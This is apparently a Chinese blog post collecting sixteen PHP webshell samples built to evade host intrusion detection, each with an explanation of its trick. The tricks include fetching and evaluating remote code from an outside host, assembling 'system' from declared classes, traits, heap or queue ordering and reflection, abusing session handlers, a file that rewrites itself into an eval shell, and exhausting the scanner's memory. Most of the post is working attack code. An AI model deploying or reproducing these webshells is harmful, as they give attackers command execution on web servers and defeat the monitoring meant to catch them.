记一次学习--HIDS-phpwebshell绕过

目录

第一个样本

代码分析

结果

第二个样本

代码分析

结果

第三个样本

 结果

第四个样本

结果

 第五个样本

结果

第六个样本

结果

 第七个样本

结果

第八个样本(通过session绕过)

第九个样本

第十个样本

第十一个样本(自己改变自己)

第十二个样本

结果

第十三个样本(优先队列排序)

第十四个样本(内存不足)

原理 

​编辑

结果

第十五个样本

结果

第十六个样本

结果


不断学习,保持谦虚

第一个样本

<?php
$url="http://172.24.200.12/test/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);
system(whoami);

代码分析

这个样本是将1.txt的内容返回回来让eval执行

CURLOPT_URL: 设置要请求的 URL。
CURLOPT_SSL_VERIFYPEER: 禁用 SSL 证书验证。通常不建议这样做,因为这会降低安全性。
CURLOPT_SSL_VERIFYHOST: 禁用主机名验证。这也会降低安全性。
CURLOPT_RETURNTRANSFER: 设置 cURL 将结果返回为字符串,而不是直接输出。
CURLOPT_HTTPHEADER: 设置 HTTP 头。$headerArray 变量应该是一个包含 HTTP 头的数组,但在这段代码中没有提供具体的定义。

$output = curl_exec($ch);
curl_exec() 函数执行 cURL 会话,获取请求的结果并将其存储在 $output 变量中。
curl_close($ch);

结果

第二个样本

<?php
get_meta_tags("http://172.24.200.12/test/1.html")["author"](get_meta_tags("http://172.24.200.12test/1.html")["
keywords"]);
?>

1.txt

<!DOCTYPE html>
<html lang="en">
<head>
    <meta name="author" content="system">
<meta name="keywords" content="ls">
    <title>Document</title>
</head>
<body>
     
</body>
</html>

代码分析

结果

第三个样本

<?php
foreach(fpm_get_status()["procs"] as $val){
 system($val["query-string"]);
}

fpm_get_status() 是一个 PHP 函数,用于获取 PHP-FPM(FastCGI Process Manager)的状态信息。这个函数返回一个包含当前 PHP-FPM 状态的数组。这个数组通常包含有关当前进程的信息,如进程 ID、状态、请求等。

fpm_get_status打印如下,其中query-string是我们的老朋友了,他的值就是get传参的键值对

然后你在执行的时候可能是不同的进程,也就是你所在的数组可能是数组0也可能是数组1.所以在上面样本我们进行了一个for循环,循环出来就可以百分百执行命令

 结果

执行一些有空格的命令,那就抓包把里面的空格编码后的+再变成空格

第四个样本

<?php
$m=($GLOBALS[GLOBALS]*n[GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS
][_GET][b]);
substr(timezone_version_get(),2)($m);

 这里通过$GLOBALS来传递命令,$GLOBALS打印如下,递归多次是因为HIDS对于递归的检测有点不足

通过timezone_version_get来获取system,timezone_version_get再php-fpm+nginx+linux下是如下值,其他环境有待测试

然后就可以执行了

结果

 第五个样本

<?php
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
 $b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://172.24.200.12".$b."?a=1";
$d =parse_url($url);
if($d['query']){
 $c="echo 111;";
}
else{
 $c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
?>

get_cfg_var

parse_url

这个样本他最终是要执行eval。我们反着推导一下。要执行eval就要$a有值。要$a有值就要$c有值。$c有值就不可以进入这里,不然a的赋值就不对了。那样就需要$d的中query没有值才符合要求。经过测试$b=#的时候$d['query']为空。所以需要('error_reporting')>0也就是下面这一块

然后我们就需要构造一下

这个地方就可以绕过了,首席按准备一个文件上传的html,且属性为useraccount

然后上传文件,修改对应地方的值,成功绕过(这里paython写多了老是忘记php后面的;,调试了很久)

结果

第六个样本

<?php
$s= 
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;
for($i;$i<count($arr);$i++){
 $i++;
 $s[1]->a=$_GET['a'];
 if($i<97 || $i>=98){
 continue;
 }
 $c=$s[0]->a;
 print(substr(get_declared_classes()[70],4,6)($c));
}
?>

先解释一下上面序列化的内容

有两个数组第一个数组是一个对象对象名字8个字符然后对象里面有个字符串a,然后第二个元素是引用前面的内容,第二个数组 ($s[1]) 的改变会影响第一个数组 ($s[0])。这是因为 $s[1] 是对 $s[0] 的引用(使用 r:2 表示),所以对 $s[1] 的任何修改也会反映到 $s[0] 上。这里干扰了HIDS。

get_declared_classes解释

 我们打印看一下get_declared_classes的值,我们发现在这里由system,然后我们可以使用substr截取出system

结果

 第七个样本

<?php
trait system{
}
$a= new JsonException($_GET['a']);
$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){
 $i++;
//这里i的值和你的问价所属组有关系建议打印后在作判断
 if($i<32 || $i>33){
 continue;
 }
 $c=$a->getMessage();
 print(get_declared_traits()[0]($c));
}

getmyid

JsonException(不止JsonException支持getMessage方法,如果JsonException被禁用了可以尝试使用别的类)

get_declared_traits 将会获取到系统中已定义的 trait,因此获取到的函数名称为 system,而 JsonException ->getMessage() 能够将已储存的 Message 信息显示出来,这里如此初始化:$a= new JsonException($_GET['a']); 就可以绕过HIDS。

结果

第八个样本(通过session绕过)

<?php
$b = "111";
$c = "222";
session_start();

$a = array( "one"=>$c,"two"=>&$c );
$url = "http://a/usr/".$_SESSION['a']."?a=1";
$d =parse_url($url);
if($d['query']){
 $c="echo 111;";
}
else{
 $c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
//这里的$_SESSION只要session_start一开启$_SESSION就会执行。
$_SESSION['a']="#";
?>

这里通过session来获取传递内容,其原理和第五个样本基本相同这里不做演示

第九个样本

<?php
ini_set("display_errors",1);
class MySessionHandler implements SessionHandlerInterface
{
 // implement interfaces here
 public function close()
 {
 // TODO: Implement close() method.
 }
 public function destroy($id)
 {
 // TODO: Implement destroy() method.
 }
 public function gc($max_lifetime)
 {
 // TODO: Implement gc() method.
 }
 public function open($path, $name)
 {
 $path($name);
 }
 public function read($id)
 {
 // TODO: Implement read() method.
 }
 public function write($id, $data)
 {
 // TODO: Implement write() method.
 }
}
$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_name($_GET[a]);
session_save_path('system');
session_start();

这里是码定义了一个自定义会话处理类,并设置为 PHP 的会话处理器。

这个代码在这里执行,然后$path和$name是我们传递的。然后就可以执行了

第十个样本

<?php
$a = new SplTempFileObject(1000000);
$a->fwrite( $_GET['a']);
$a->rewind();
substr(get_declared_classes()[70],4,6)($a->fgets());
//fgets() 从临时文件中读取一行数据。
?>
$a = new SplTempFileObject(1000000);

这行代码创建了一个临时文件对象 $a,其最大容量为 1000000 字节。SplTempFileObject 是一个 PHP 内置类,提供了对临时文件的操作接口。创建时传递的参数定义了文件的最大大小(以字节为单位)。

$a->rewind();

rewind() 方法将文件指针移动到文件的开头。这对于后续读取操作是必要的,因为数据已经写入到临时文件中,而现在我们需要从文件的开头读取数据。

第十一个样本(自己改变自己)

<?php
$s="Declaring file object\n";
$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI'];
$file = new SplFileObject($d,'w');
$file->fwrite("<?php"." eva".$s[3]);
$file->fwrite("(\$_"."GET"."[a]);?>");
include(get_included_files()[0]);
?>

使用 SplFileObject 创建一个文件对象 $file,并以写入模式 ('w') 打开文件。然后$file使用fwrite写入代码,如下代码执行过后被修改。然后使用include直接包含

第十二个样本

<?php
$obj=new SplMaxHeap();
$obj->insert( $_GET[a] );
$obj->insert( 8 );
$obj->insert( 'system' );
$obj->insert( 7 );
$obj->insert( 0 );
//$obj->recoverFromCorruption();
$i=0;
foreach( $obj as $number ) {
 $i++;
 if($i==1) {
 $a = $number;
 }
 if($i==2) {
 $b = $number;
 }
}
$a($b);

 提取插入过后obj变量的值,后命令执行,这里需要理解堆排序的原理,然后根据原理来选出$a和$b对应的值

结果

第十三个样本(优先队列排序)

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',7);
$objPQ->insert('e',3);
$objPQ->insert('s',5);
$objPQ->insert('y',6);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>

 和第十二个差不多

当a等于4的时候$m可以拼成system函数,然后通过getMessage取出$_GET[b]

第十四个样本(内存不足)

<?php
ini_set("display_errors",1);
class b extends SplObjectStorage {
//SplObjectStorage 是 PHP 的一个 SPL(标准PHP库)类,用于存储对象,并允许对对象进行操作和管理
 public function getHash($o) {
 return get_class($o);
 }
}
$cur= new DomainException($_GET[a]);
//老朋友了传入message
?>
 111111111111111111111111111111111111111111111111
<?php
ini_set("display_errors",1);
ini_set("memory_limit","100G");
ini_set("memory_limit","100G");
 //将 PHP 的内存限制设置为 100 GB。这可以让脚本使用更多内存,但在实际应用中,设置如此大的内存限制是不常见的,并且可能会对服务器造成影响。
echo memory_get_usage().'<br>';
$var = str_repeat("php7_do9gy", 100000000);
//使用 str_repeat() 函数生成一个非常大的字符串,并将其赋值给 $var。这个操作会消耗大量内存,大概1G
echo memory_get_usage();
class bb{}?>
 111111111111111111111111111111111111111111111111
<?php
ini_set("display_errors",1);
class A {}
$s = new b;
$o2 = new stdClass;
$s[$o2] = 'system';
//these are considered equal to the objects before
//so they can be used to access the values stored under them
$p1 = new stdClass;
echo $s[$p1]($cur->getMessage());
?>

原理 

 查杀引擎的动态执行需要消耗内存空间,由于同一时间处理的样本 很多,因此单独给每个沙箱环境分配的内存往往不会太多,如果构造一个样本,能够让查杀引擎由于内存不足提前终止查杀,而在真实环境中内存可以满足执行需要,就能够执行到恶意的代码了,恰好 PHP 的内存申请是可以通过 php_ini 在运行时动态修改的。

动态查杀引擎在这里会内存不足,程序会在这里退出,但是真实环境可以满足执行需要

结果

第十五个样本

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
 echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {
 $da = new DateTime();
 echo $da->getTimestamp();
 echo 'Name: ' . $param->getName() . PHP_EOL;
 $n='F';
 if ($param->isOptional()) {
 if($da->getTimestamp()>=1725329100||$n='1'){
 echo $n;
 }
 echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
 }
 echo PHP_EOL;
}
?>

这里利用getTimestamp,再结合反射技巧

function foo($test, $bar = FSYSTEM): 定义一个函数 foo,接收两个参数 $test$bar,其中 $bar 有一个默认值 FSYSTEM。注意,这里的 FSYSTEM 应该是一个常量或类常量。

$function->getParameters(): 获取 foo 函数的参数列表,返回一个包含 ReflectionParameter 对象的数组。

if ($param->isOptional())检查参数是否可选

getParameters()ReflectionFunctionReflectionMethod 对象的一个方法,用于返回该函数或方法的参数列表。它返回一个 ReflectionParameter 对象的数组,每个对象表示一个参数的详细信息。你可以通过这些 ReflectionParameter 对象获取关于参数的名称、类型、默认值以及是否是可选的等信息。

ltrim($param->getDefaultValueConstantName(),$n): 从参数的默认值常量名中去掉前导的 $n

结果

第十六个样本

<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
 echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {
 $da = new DateTime();
 echo $da->getTimestamp();
 echo 'Name: ' . $param->getName() . PHP_EOL;
 $n='F';
 if ($param->isOptional()) {
 if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){
 echo $n;
 }
 echo 'Default value: ' . 
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
 }
 echo PHP_EOL;
}
?>

 if(mt_rand(55,$p->getMessage()??100)==55||$n='1')

生成一个 55 到 $p->getMessage() 或 100 之间的随机数。如果随机数等于 55 或 $n 被设置为 '1',则输出 $n

我们可以在$_SERVER[HTTP_A]传一个55,在这里mt_rand(55,$p->getMessage()就是55到55之间必选55

$_SERVER可以获取请求头部的信息,这里抓包添加一个HTTP_A的头部

结果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值